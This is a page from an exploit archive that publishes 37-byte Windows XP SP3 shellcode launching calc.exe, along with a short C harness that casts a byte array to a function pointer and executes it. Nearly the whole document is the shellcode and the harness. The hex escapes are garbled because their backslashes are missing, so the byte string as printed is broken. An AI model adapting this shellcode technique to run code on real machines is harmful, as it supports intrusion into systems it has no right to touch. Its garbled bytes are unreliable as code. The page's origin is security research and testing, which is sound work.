[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Windows XP Home Edition SP3 English ( calc.exe ) 37 bytes
# Published : 2010-03-01
# Author : Hazem mofeed
# Previous Title : Linux x86 - disabled modsecurity - 64 bytes
# Next Title : Linux x86 - execve /bin/sh - 21 bytes


/*
* Windows Xp Home edition SP3 english ( calc.exe ) 37 bytes shellcode
* by: Hazem mofeed
* The Shellcode: http://www.exploit-db.com/exploits/11598
* Modified to working In SP3,
* Home: www.pentestlabs.com
* greetz: ProViDoR , ExH , rUnVirUs , Sinaritx , Data_fr34k3r , Br1ght D@rk
*/

char evil[] =
"xebx16x5bx31xc0x50x53xbbx0dx25x86x7cxffxd3x31xc0"
"x50xbbx12xcbx81x7cxffxd3xe8xe5xffxffxffx63x61x6c"
"x63x2ex65x78x65x00";

int main(int argc, char **argv)
{
int (*shellcode)();
shellcode = (int (*)()) evil;
(int)(*shellcode)();
}